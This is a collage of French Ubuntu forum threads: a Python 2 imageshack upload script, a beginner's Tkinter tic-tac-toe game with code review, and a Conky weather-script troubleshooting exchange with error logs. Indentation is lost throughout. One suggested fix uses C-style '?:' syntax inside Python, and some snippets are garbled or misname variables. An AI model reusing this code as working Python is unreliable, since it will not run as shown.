def post_multipart(host, port, selector, fields, files):
"""
Post fields and files to an http host as multipart/form-data.
fields is a sequence of (name, value) elements for regular form
fields.
files is a sequence of (name, filename, value) elements for data to
be uploaded as files
Return the server's response page.
"""
content_type, body = encode_multipart_formdata(fields, files)
h = httplib.HTTP(host, port)
h.putrequest('POST', selector)
h.putheader('content-type', content_type)
h.putheader('content-length', str(len(body)))
h.endheaders()
h.send(body)
errcode, errmsg, headers = h.getreply()
return h.file.read()
def encode_multipart_formdata(fields, files):
"""
fields is a sequence of (name, value) elements for regular form
fields.
files is a sequence of (name, filename, value) elements for data to
be uploaded as files
Return (content_type, body) ready for httplib.HTTP instance
"""
BOUNDARY = '---------------------------13049614110900'
CRLF = '\r\n'
L = []
for (key, value) in fields:
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
for (key, filename, value) in files:
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
L.append('Content-Type: %s' % get_content_type(filename))
L.append('')
L.append(value)
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
return content_type, body
def get_content_type(filename):
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
params = [('MAX_FILE_SIZE', '3145728'), ('refer',
'http://reg.imageshack.us/v_images.php')]
files = [('fileupload', sys.argv[1], open(sys.argv[1], 'rb').read())]
open(sys.argv[1]).read()
text1 = post_multipart('imageshack.us', 80, '/index.php', params, files)
keyword = re.compile(r"(image to friends)+")
lines = str(text1).split('\n')
for line in lines:
if keyword.search (line):
foo = line.split('"')
print foo[1]
USage:
./imageshack.py image.jpg
Hors ligne
Ras'
Re : [ VOS SCRIPTS UTILES ] (et eventuelles demandes de scripts...)
Comme tu n'es pas le premier à qui ça arrive, http://forum.ubuntu-fr.org/viewtopic.php?id=78396
Celà dit le script ne fonctionnait pas chez moi...
Hors ligne |
lekokeliko
Tictactux jeu en Python
Je tient a vous présenter ma grande réalisation :
le Tictactux en python développé depuis la nuit du 24 decembre 2007
morpion like parametrable a souhait
quelques précisions :
versions antérieures :
-1.07.29 beta test
-1.07.30 détails des modifs plus bas (post 7)
-1.07.31 modifications (post8)
1.08.04 modifications (post17)
2.08.07 on peut choisir
3.08.09 new mode de jeu
3.08.09 easter egg hhéé
3.08.14 choix des couleurs
version ci dessous 3.08.16 sauvegarde des paramètres de jeu d'une partie à l'autre
il faut installer le paquet python-tk
sudo apt-get install python-tk
et télécharger le fichier Tictactux disponible ici : ~Tictactux~
Les tutos qui m'ont servis :
- http://www.ulg.ac.be/cifen/inforef/swi : celui ci est vraiment bien je trouve plein d'exemples concrets
- http://diveintopython.org/ : meme genre que celui d'avant je m'en suis moins servis
- http://www.pythonware.com/library/tkinter/introduction/ : site ou tout est détaillé (fonctions options utilisation...)
- http://docs.python.org/ : encore un site avec plein de ressources
- http://infohost.nmt.edu/tcc/help/pubs/tkinter/ : ici c'est tout Tkinter qui est détaillé on peu le trouver en pdf
je me suis limité a ca pour ma doc sinon on doit pouvoir en trouver plein d'autres
Dernière modification par lekokeliko (Le 18/01/2008, à 03:13)
Hors ligne
best_friend_fr
Re : Tictactux jeu en Python
Salut,
C'est un bon debut, mais je ferai quelques remarques:
- Tu hardcodes toutes les valeurs, en particuliers la position des cases. Ca t'enleve beaucoup de flexibilite. Tu devrais avoir une variable globale largeur de case, qui te permet de tout recalculer (au besoin, tu recalcules ton tableau c, mais a partir de cette variable).
- On peut continuer a jouer quand le jeu est fini (normal ?), et ca ajoute des points de victoires pour tout les coups suivants
- La fenetre nouveau jeu ne se ferme pas quand on clique sur nouveau jeu, et le bouton quitter a un comportement de fermer.
Hors ligne
lekokeliko
Re : Tictactux jeu en Python
ouép
c'est normal c'est la version -1
serieusement :
1 : j'ai pas compris toute ton explication mais je sais que j'ai fait ca un peu brutalement juste avec des fonctions sans objets et avec des variables globales dans tous les sens c'est pas génial mais je suis pas super balèze en objets mais c'est prevu pour la version 3 (si j'arive jusque la)
2 : ce point la m'embete particulièrement je ne sais pas comment bloquer la fenetre principale tant que "oui" ou annuler n'ai été enfoncé (pour l'instant faut le prendre en compte et pas tricher )
3 : j'ai pas trouver la fonction qui me permet d'associer plusieurs commandes a un boutton
j'ai fait : bout=button (........,command= fenetre.destroy and dessingrille)
sans succès et je l'ai ue nulle part dans les tutos que j'ai 4 5 tutos mais ce truc m'énerve et c'est une des choses que je vais corriger assez vite
autre prob pas trop génant c'est l'actualisation des noms des joueurs et des scores il faut faire nouveau jeu pour voir le score final
détail sur les version :
-1 developpement
0 stable a deux joueurs fonctionne correctement (d'ici une semaine ce serait bien correction des problèmes cités au dessus)
1 avec AI sur 9 cases et choix jeu solo ou duel
2 je sais pas encore ??? choix des couleurs des options stupides
3 réecriture du code en objet
4 pourquoi pas (si je suis encore motivé) et que j'ai le temps) faire une grille variable mais on en est pas encore la
sinon je me suis donné ca comme projet pour apprendre le python (depuis noel) et jouer avec les GUI c'est plus drole que du code en console ^^
j'aimerai aboutir a quelque chose d'assez fini meme si c'est un jeu débile et que ca me soule de cliquer dans tous les sens pour tester
voila si j'arrive a la version 1 ou 2 je serait content puis pour le code objet je vais partir sur un autre projet (j'en aurais marre du morpion^^)
merci pour les remarques ca fait toujours avancer les choses
Hors ligne
best_friend_fr
Re : Tictactux jeu en Python
En fait, en ne faisant pas d'objets, tu te compliques vraiment la vie...
probleme 1:
Imagine que je veuille jouer a ton jeu sur mon PDA, avec un minuscule ecran. Il me faudra des cases plus petites. Ou imagines que par un gout d'esthetiques, tu ne veuilles plus faire des cases carrees, mais rectangulaires... Avec ce que tu as fait, tu dois changger une centaine d'endroits dans ton code. Alors que si tu definis largeur et hauteur, et que apres, tu fais tous tes calculs a partir de la, c'est plus facile. Un exemple:
#!/usr/bin/python
from Tkinter import *
fen = Tk()
can1 = Canvas(fen,height=300,width=300)
can1.pack()
for i in range(4):
can1.create_line(0, i*100, 300, i*100,width=3)
can1.create_line(i*100, 0, i*100, 300,width=3)
fen.mainloop()
et
#!/usr/bin/python
from Tkinter import *
COTE_CARRES = 100
TAILLE_GRILLE = 3
fen = Tk()
can1 = Canvas(fen,height=TAILLE_GRILLE*COTE_CARRES,width=TAILLE_GRILLE*COTE_CARRES)
can1.pack()
for i in range(TAILLE_GRILLE+1):
can1.create_line(0, i*COTE_CARRES, TAILLE_GRILLE*COTE_CARRES, i*COTE_CARRES,width=3)
can1.create_line(i*COTE_CARRES, 0, i*COTE_CARRES, TAILLE_GRILLE*COTE_CARRES,width=3)
fen.mainloop()
Ces deux codes font la meme chose, mais dans le deuxieme, je peux faire tres facilement des grilles 5*5 avec des carres de 200pxls de cote. Dans le premier cas, c'est plus difficile.
2- Tu peux avoir une variable partie_en_cours que tu testes avant chaque operation
3- Tu peux lancerune function que tu cree qui fait tes 2 actions a la suite.
Hors ligne
best_friend_fr
Re : Tictactux jeu en Python
Juste une petite remarque:
Sur un forum comme ca, quand on dit le mot tuto, c'est toujours bien de mettre les adresses en disant bien, bof, ou nul et sur quoi ils portent.
Ca peut aider les suivants.
Hors ligne
lekokeliko
Re : Tictactux jeu en Python
merci pour ton bout de code
en fait je devrais dès maintenant changer mon code (ca devient de plus en plus galère a lire )
pour passer a un code juste avec des variables histoire que ce soit plus simple
merci pour tes exemples
2 : j'avais pas pensé a ca (en fait je fait une overdose de python je peux plus penser) mais je l'appliquerai
3 : j'ai essayer mais seulement pour la fonction quitter le soucis c'est que je ferme aussi les fenetres a propos et joueurs au cas ou elles serait ouvertes. Mais quand elles ne sont pas ouvertes j'ai une erreur comme quoi elles ne sont pas définies (normal) je reteste demain
pour ce soir -_- --->bed
EDIT : bonne remarque pour les tutos je les rajouterais dans le premier post
Dernière modification par lekokeliko (Le 30/12/2007, à 03:50)
Hors ligne
lekokeliko
Re : Tictactux jeu en Python
voila voila on passe a la version -1.07.30
j'hésite a passer en version 0 mais je vais globaliser mes variables
aujourd'hui ma version gere la fermeture des fenetres mais aussi l'acualisation des noms de joueurs et des scores également le fait de ne pas pouvoir jouer lorsque la fenetre joueurs ou fin est ouverte
voila en gros pour aujourd'hui
avis aux testeurs et améliorateurs de petites choses qui pourraient etre bien
Hors ligne
lekokeliko
Re : Tictactux jeu en Python
aujourd'hui la version -1.07.31stable la derniere version de l'année
modification :
-une partie du code a été réécrite avec des variables on peu donc choisir la taille des cases et le nombre (la grille de clics a pas été changée donc ca sert a rien mais ca va venir)
-on peut remettre les scores a 0 grace a une jolie fenetre
un petit screen pour la route
Hors ligne
lekokeliko
Re : Tictactux jeu en Python
Depuis 4 jours il y a eu pas mal de changement au niveau du code :
- création d'une fenetre grille ou on peu choisir la taille des cases en pixels (défaut 100)et le nombre de cases d'un coté de la grille (défaut 3, morpion classique a 9 cases)
-la ou je bloque (2, 3 jours maintenant) c'est au niveau des conditions de victoires
dans mes boucles je teste toutes les cases de la grille
-les colonnes pas de soucis pas d'erreurs
-les lignes un petit problème de ce style
grille vide grille avec le meme symbole
000 001
000 110 les cases contenant un 1 en bordures sont considérées
000 000 comme alignés (un peu génant)
-les diagonales ne fonctionnent que sur des grandes grilles en générant des erreurs car je test des cases qui n'éxistent pas (génant puisque l'erreur fait que le programme quitte la boucle de test donc pas de match nul )
Mais je desespère pas (encore) ca devrait fonctionner sous peu (j'espère)
le code des conditions de test :
#vérification d'alignement des ronds et carres
def finjeu():
global j, c, numerocase, compteur, vicj1,vicj2,vainqueur
print c
#check lignes
for i in range(grille_taille*grille_taille-2):
if c[i][1]==c[i+1][1]==c[i+2][1]==0 :
vainqueur=1
vicj1+=1
fenetrefin()
if c[i][1]==c[i+1][1]==c[i+2][1]==1 :
vainqueur=2
vicj2+=1
fenetrefin()
#check colonnes
for k in range(grille_taille*grille_taille-2*grille_taille):
if c[k][1]==c[k+1*grille_taille][1]==c[k+2*grille_taille][1]==0 :
vainqueur=1
vicj1+=1
fenetrefin()
if c[k][1]==c[k+1*grille_taille][1]==c[k+2*grille_taille][1]==1 :
vainqueur=2
vicj2+=1
fenetrefin()
#check diagonales
for l in range(grille_taille*grille_taille-2*grille_taille):
print l,grille_taille*grille_taille,grille_taille*grille_taille-2*grille_taille
if c[l][1]==c[l+1*grille_taille+1][1]==c[l+2*grille_taille+2][1]==0 or c[l][1]==c[l+1*grille_taille-1][1]==c[l+2*grille_taille-2][1]==0:
vainqueur=1
vicj1+=1
fenetrefin()
if c[l][1]==c[l+1*grille_taille+1][1]==c[l+2*grille_taille+2][1]==1 or c[l][1]==c[l+1*grille_taille-1][1]==c[l+2*grille_taille-2][1]==1:
vainqueur=2
vicj2+=1
fenetrefin()
#check nul
if compteur>=(grille_taille*grille_taille):
vainqueur=0
print "Match nul",vainqueur
fenetrefin()
Hors ligne
jolivier
Re : Tictactux jeu en Python
bonjour je voudrai savoir quel est le symbolle: en fin de fichier ???
Hors ligne
lekokeliko
Hors ligne
best_friend_fr
Re : Tictactux jeu en Python
Salut,
Bon, desole de te l'annonce comme ca, mais tes tests sont tous faux... donc pas etonnant que ca marche pas.
Ce qui se passe, c'est que tu testes en dehors de la grille (pour une colonne, ca va carrement en dehors de la grille, pour une ligne, ca va dans la ligne suivante)
Ta boucle va de 0 a n^2-3 (en gros, de 0 a n^2), alors qu'il n'y a que n colonnes... Et il n'y a que 2 diagonales...
Il faut savoir ce que tu consideres comme une victoire dans le cas ou tu as une grille 4*4... Pour moi, ca serait aligner 4 cases...
je ferai donc comme ca:
for i in range(grille_taille):
victoire_1_colonne=1
victoire_2_colonne=1
victoire_1_ligne=1
victoire_2_ligne=1
for j in range(grille_taille):
victoire_1_colonne = victoire_1_colonne * (1-c[i*taille_grille+j][1])
victoire_1_ligne = victoire_1_ligne * (1-c[j*taille_grille+i][1])
victoire_2_colonne = victoire_2_colonne * (c[i*taille_grille+j][1])
victoire_2_ligne = victoire_2_ligne * (c[j*taille_grille+i][1])
Si ici l'une des 4 variable vaut 1, c'est une victoire
Dernière modification par best_friend_fr (Le 04/01/2008, à 21:00)
Hors ligne
lekokeliko
Re : Tictactux jeu en Python
y'a pas de mal a me l'anoncer comme ca
mais mes tests de colonne sont justes
c'est for i in range(grille_taille*grille_taille-2*grille_taille) j'enlève les deux dernières lignes et je teste toutes les cases restantes
pour les lignes je suis d'acord ca continue les tests sur la ligne suivante
les diagonales ca fonctionne sauf que ca sort du tableau ...
j'ai essayé ta solution avec et sans changement cette après midi mais ca me met la fenetre de fin "joueur .. vainqueur " dès que je place un symbole sur la grille (au premier clic)
(je pense que ca viens de c[numérocase][1] qui est a 2 par defaut et a 0 pour joueur 1 et a 1 pour joueur 2 ) j'aime bien le principe qui permet d'aligner 4 symboles sur une grille de 4*4
mais elle ne fonctionne pas pour les diagonales.
ensuite sur une grille de 8*8 on va plutot chercher a aligner 4, 5 symbols plutot que 8(qui trop gros)
merci
Hors ligne
best_friend_fr
Re : Tictactux jeu en Python
Ah oui, je vois.
On a pas pris les memes definitions. Toi, tu considere toujours que tu dois aligner 3 cases.
Mais comprends bien que tu as toujours autant de lignes que de colonnes. DOnc que tes 2 boucles ne soient pas symetriques me choque.
Mon systeme ne marche pas parce que je n'ai pas pris en compte le 2.
for i in range(grille_taille):
victoire_1_colonne=1
victoire_2_colonne=1
victoire_1_ligne=1
victoire_2_ligne=1
for j in range(grille_taille):
victoire_1_colonne = victoire_1_colonne * (c[i*taille_grille+j][1]==0?1:0)
victoire_1_ligne = victoire_1_ligne * (c[j*taille_grille+i][1]==0?1:0)
victoire_2_colonne = victoire_2_colonne * (c[i*taille_grille+j][1]==1?1:0)
victoire_2_ligne = victoire_2_ligne * (c[j*taille_grille+i][1]==1?1:0)
Si ici l'une des 4 variable vaut 1, c'est une victoire
devrait marcher mieux
Dernière modification par best_friend_fr (Le 04/01/2008, à 23:52)
Hors ligne
lekokeliko
Re : Tictactux jeu en Python
pourrais tu détailler ceci
for j in range(grille_taille):
victoire_1_colonne = victoire_1_colonne * (c[i*taille_grille+j][1]==0?1:0)
victoire_1_ligne = victoire_1_ligne * (c[j*tai-2*grille_taillelle_grille+i][1]==0?1:0)
victoire_2_colonne = victoire_2_colonne * (c[i*taille_grille+j][1]==1?1:0)
victoire_2_ligne = victoire_2_ligne * (c[j*taille_grille+i][1]==1?1:0)
merci
mes deux boucles ne sont pas identiques car je ne test pas le meme nobre de cases et pas dans le meme sens
en ligne je teste sur range(grile_taille * grille_taile - 2) j'enlève les deux dernières cases
en colonne sur range(grille_taille*grille_taille-2*grille_taille) j'enlève les deux dernières lignes
les deux boucles font la meme chose mais pas sur le meme nombre d'éléments
merci de ton aide ca fait plaisir
Hors ligne
best_friend_fr
Re : Tictactux jeu en Python
range(grile_taille * grille_taile - 2) j'enlève les deux dernières cases
C'est bien ton probleme...
Tu devrais enlever les 2 dernieres cases de chaque ligne
a?b:c
ca vaut b si a est vrai et c si a est faux
Hors ligne
lekokeliko
Re : Tictactux jeu en Python
voici la version finale la plus aboutie j'arrete le développement a ce stade sauf si des bugs sont rapportés je les corrigerais.
donc je vous laisse découvrir ce morpion disponible au premier post
have fun
Hors ligne
best_friend_fr
Re : Tictactux jeu en Python
Salut,
Juste un petit truc... Avec tes regles, celui qui joue en premier sur une grille plus que 3*3 gagne super facilement (en alignant ses 3 premier pions)
Hors ligne
lekokeliko
Re : Tictactux jeu en Python
c'est vrai mais j'ai eu pas mal de difficulté avec les diagonales donc j'ai forcé un peu la chose pour terminer plus rapidement pas le courage de tout calculer (c'est dommage plus tard peu etre ou une autre personne)
je pourrais faire une autre fonction avec 4 ou 5 égalités mais ca rajoute une fonction identique a celle existant pour 3
c'est une chose a revoir les conditions de victoires j'aurais bien ajouté une petite case nombre de symboles a aligner dans la fenetre grille
en fait ce qui m'importait le plus dans le morpion c'était de réaliser une interface graphique fonctionelle et propre je pense en etre pas trop loin
merci a toi pour ton aide
Hors ligne
herberts
Re : Tictactux jeu en Python
Salut lekokeliko, juste deux petites remarques.
Avant ça, bravo, rien à dire sur le jeu.
Par contre, dans le "à propos", "3 symboles identiques" serait mieux, ainsi que félicitation sans s. Voilà voilà , je pouvais quand même pas dire que c'est parfait, ça t'aurait fait trop plaisir
Hors ligne
lekokeliko
Re : Tictactux jeu en Python
merci herberts (t'inquiete pas tu réussira aussi )
ok je corrige pour le symbole mais pas pour felicitations car on peut faire plusieurs félicitations mais on ne peut faire qu'une remarque, suggestion commentaire a la fois
heureusement que c'est pas parfait d'ailleur c'est même très naze je me suis rendu compte de ca best_friend_fr a raison j'ai essayer de jouer sérieusement sur une grille 4*4 et 5*5 puis très vite arrêté parce que trois symboles c'est vraiment pas assez sur une grande grille
donc je vais essayer de "réparer" mon erreur mais pas dit que je m'en sorte
essayer de mettre une cases nombre de symboles a aligner est aussi une chose qui pourrait etre faite
voila pour les news
Hors ligne
herberts
Re : Tictactux jeu en Python
Bon, ok, autant pour moi à propos des félicitations
Et pour t'en faire plein alors, j'attendrai qu'on puisse choisir les conditions de victoires
Hors ligne
trucutu
Re : Tictactux jeu en Python
Au niveau du code, si je ne me trompe pas:
- l.1 : préférer la syntaxe
#!/usr/bin/env python
(portabilité)
- Préférer des docstrings aux commentaires lors de la définition de fonction
D'une manière générale, as tu parsé ton code avec pylint ?
- ajouter une licence, puisque le code est diffusé
etc...
Voilà quelques petits détails qui, sans avoir testé ton programme, pourraient apporter un certaine Valeur Ajoutée
Dernière modification par trucutu (Le 06/01/2008, à 05:53)
Hors ligne
lekokeliko
Re : Tictactux jeu en Python
a trucutu je connait pas pylint la premiere ligne c'est fait (ca sert a quoi ?)
mais je penserait a ces petits détails de mise en forme a la fin je me suis remotivé pour finir correctement ce morpion avec le choix du nombre d'objets a aligner ce sera plus cohérent
mais c'est compliqué
Hors ligne
lekokeliko
Re : Tictactux jeu en Python
nouvelle version la 2.08.07 on peut choisir le nombre d'objets a aligner et la taille de la grille
je suis content pour le coup
demain je m'attaque au choix des couleurs (pff facile après ca)
amusez vous bien
mes conditions de victoire sont un peu bourrin mais je vais essayer d'optimiser ca aussi
Hors ligne |
#2201 Le 22/02/2013, à 08:17
jpdipsy
Re : [Conky] Alternative à weather.com (2)
Bonjour,
je n'apporterai pas d'aide sur les scripts, mais juste pour dire que chez moi l'intégration avec XplanetFX fonctionne parfaitement. Il y a juste un délai de quelques secondes pendant lequel la météo disparaît juste après sa mise à jour : message "mise à jour partielle effectuée en x secondes", effacement de l'écran météo peu après et 4~5 s plus tard apparition des données actualisées.
Je suis en train de préparer une maj importante de start-recmeteo et meteo qui résoudra le prob.
Il faudra alors faire tourner recmeteo en "standalone" composition="" dans le fichier de cfg et xplanet se chargera du reste comme maintenant pour avoir qu'un seul rafraichissement du fond ATTENTION ne le faites pas maintenant.
Surveillez ma signature top départ à v 0.999 (bin c'est toujours ps fini)
Hors ligne
#2202 Le 22/02/2013, à 10:05
jpdipsy
Re : [Conky] Alternative à weather.com (2)
@Didier
Pour toi interessant ou pas ?
### Vérification répertoire
if not path.exists(repsauv):
makedirs(repsauv)
### Sauvegarde pid
pid = str(getpid())
f = open(repsauv+'/recmeteo.pid', 'w')
f.write(pid)
f.close()
Hors ligne
#2203 Le 22/02/2013, à 10:53
ragamatrix
Re : [Conky] Alternative à weather.com (2)
Bon jpdipsy va encore se moquer...
Comment arrette-ton les scripts recmeteo ?
j'ai essayé ça
┌─( climatix ) - ( 3.2.0-38-generic ) - ( ~/Accuweather )
└─> start-recmeteo.sh stop
Mais c'est pas bon
Même pas honte
Hors ligne
#2204 Le 22/02/2013, à 11:01
jpdipsy
Re : [Conky] Alternative à weather.com (2)
Bon jpdipsy va encore se moquer...
Comment arrette-ton les scripts recmeteo ?
j'ai essayé ça<metadata lang=Shell prob=0.06 />
┌─( climatix ) - ( 3.2.0-38-generic ) - ( ~/Accuweather )
└─> start-recmeteo.sh stop
Mais c'est pas bon
Même pas honte
kill -9 $(ps x|grep "[r]ecmeteo.py" |cut -d ? -f1) pour le moment
Hors ligne
#2205 Le 22/02/2013, à 11:45
ragamatrix
Re : [Conky] Alternative à weather.com (2)
ragamatrix a écrit :
Bon jpdipsy va encore se moquer...
Comment arrette-ton les scripts recmeteo ?
j'ai essayé ça<metadata lang=Shell prob=0.06 />
┌─( climatix ) - ( 3.2.0-38-generic ) - ( ~/Accuweather )
└─> start-recmeteo.sh stop
Mais c'est pas bon
Même pas honte
kill -9 $(ps x|grep "[r]ecmeteo.py" |cut -d ? -f1) pour le moment
Merki !
Fouillouillou bin oui j'aurais pas trouver ça tout seul ! (PA P1)
A pluche
Hors ligne
#2206 Le 22/02/2013, à 11:45
carpediem
Re : [Conky] Alternative à weather.com (2)
@ carpediem,
simplifie ce chemin
Chemin de travail = /tmp/MeteoLua2
en
Chemin de travail = /tmp
sa devrais régler ton soucis a ce que je vois dans ton retour terminal.
J'ai fait la modif mais ça marche toujours pas je cherche mais je ne comprend pas, apparemment les chemins sont correcte
Merci de votre aide et de votre patience
carpediem
Dernière modification par carpediem (Le 22/02/2013, à 11:45)
"Carpe diem quam minimum credula postero"
(Cueille le jour présent, en te fiant le moins possible au lendemain.)
HORACE
Hors ligne
#2207 Le 22/02/2013, à 12:19
Phyllinux
Re : [Conky] Alternative à weather.com (2)
@ carpediem :
As tu regardé si tu avais le paquet qui semait la pagaille chez moi : python3-notify2
Cela a débloqué une situation un peu identique à la tienne
The ship is sinking normally...
Hors ligne
#2208 Le 22/02/2013, à 12:22
carpediem
Re : [Conky] Alternative à weather.com (2)
@ carpediem :
As tu regardé si tu avais le paquet qui semait la pagaille chez moi : python3-notify2
Cela a débloqué une situation un peu identique à la tienne
En effet il est bien installé
"Carpe diem quam minimum credula postero"
(Cueille le jour présent, en te fiant le moins possible au lendemain.)
HORACE
Hors ligne
#2209 Le 22/02/2013, à 12:22
Didier-T
Re : [Conky] Alternative à weather.com (2)
@Didier
Pour toi interessant ou pas ?
### Vérification répertoire
if not path.exists(repsauv):
makedirs(repsauv)
### Sauvegarde pid
pid = str(getpid())
f = open(repsauv+'/recmeteo.pid', 'w')
f.write(pid)
f.close()
en fait j'avais déjà regardé sa, mais je n'ai pas encore trouvé de façon d'exploité l'information avec conky, ou meteo.lua, le soucis viens du fait que pour fermer ces processus on les kill.
pour ton projet en bash, sa doit pouvoir se faire (a condition d'avoir un script d'extinction et qu'il soit utilisé).
Hors ligne
#2210 Le 22/02/2013, à 12:23
#2211 Le 22/02/2013, à 12:25
carpediem
Re : [Conky] Alternative à weather.com (2)
Voici le retour terminal
carpediem ~$ conky -c /home/claude/Scripts/MeteoLua2/conkyrc-meteo
Conky: forked to background, pid is 21610
carpediem ~$
Conky: desktop window (1e0017b) is subwindow of root window (62)
Conky: window type - override
Conky: drawing to created window (0x4e00001)
Conky: drawing to double buffer
Fontconfig warning: "/etc/fonts/conf.d/50-user.conf", line 9: reading configurations from ~/.fonts.conf is deprecated.
version = v1.02
web = http://www.accuweather.com/fr/fr/stiring-wendel/135054/weather-forecast/135054
Pévision Nb jours = 10
Pévision Matin = oui
Pévision Après Midi = oui
Pévision Soirée = oui
Pévision Nuit = oui
Prévision sur 8 heures = oui
nbFoisHuit= 1
Délais = 10
Chemin de travail = /tmp
Palier = 20
Chemin de sauvegarde = /home/claude/Scripts/MeteoLua2/sauvegardes
Chemin script = /home/claude/Scripts/MeteoLua2/Scripts
Notification = oui
date: /home/claude/Scripts/MeteoLua2/sauvegardes/CC: Aucun fichier ou dossier de ce type
Conky: llua_do_call: function conky_Meteo_horsligne execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:368: /home/claude/Scripts/MeteoLua2/sauvegardes/CC: No such file or directory
date: /home/claude/Scripts/MeteoLua2/sauvegardes/CC: Aucun fichier ou dossier de ce type
Conky: llua_getstring: function conky_Meteo_Ville didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_Jour_QPluie execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:894: attempt to index field '?' (a nil value)
Conky: llua_getstring: function conky_Meteo_Humidite didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_HLeverSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1009: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_MLeverSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1013: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_HCoucherSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1021: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_MCoucherSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1025: attempt to index field '?' (a nil value)
Conky: llua_getstring: function conky_Meteo_CondMeteo didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:728: attempt to index field '?' (a nil value)
Conky: llua_getstring: function conky_Meteo_VentForce didn't return a string, result discarded
Conky: llua_getstring: function conky_Meteo_VentDirP didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
date: /home/claude/Scripts/MeteoLua2/sauvegardes/CC: Aucun fichier ou dossier de ce type
/usr/bin/python3: can't find '__main__' module in '/home/claude/Scripts/MeteoLua2/Scripts'
lunaison Ok
date: /home/claude/Scripts/MeteoLua2/sauvegardes/CC: Aucun fichier ou dossier de ce type
date: /home/claude/Scripts/MeteoLua2/sauvegardes/CC: Aucun fichier ou dossier de ce type
Conky: llua_getstring: function conky_Meteo_Ville didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_Jour_QPluie execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:894: attempt to index field '?' (a nil value)
Conky: llua_getstring: function conky_Meteo_Humidite didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_HLeverSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1009: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_MLeverSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1013: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_HCoucherSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1021: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_MCoucherSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1025: attempt to index field '?' (a nil value)
Conky: llua_getstring: function conky_Meteo_CondMeteo didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:728: attempt to index field '?' (a nil value)
Conky: llua_getstring: function conky_Meteo_VentForce didn't return a string, result discarded
Conky: llua_getstring: function conky_Meteo_VentDirP didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
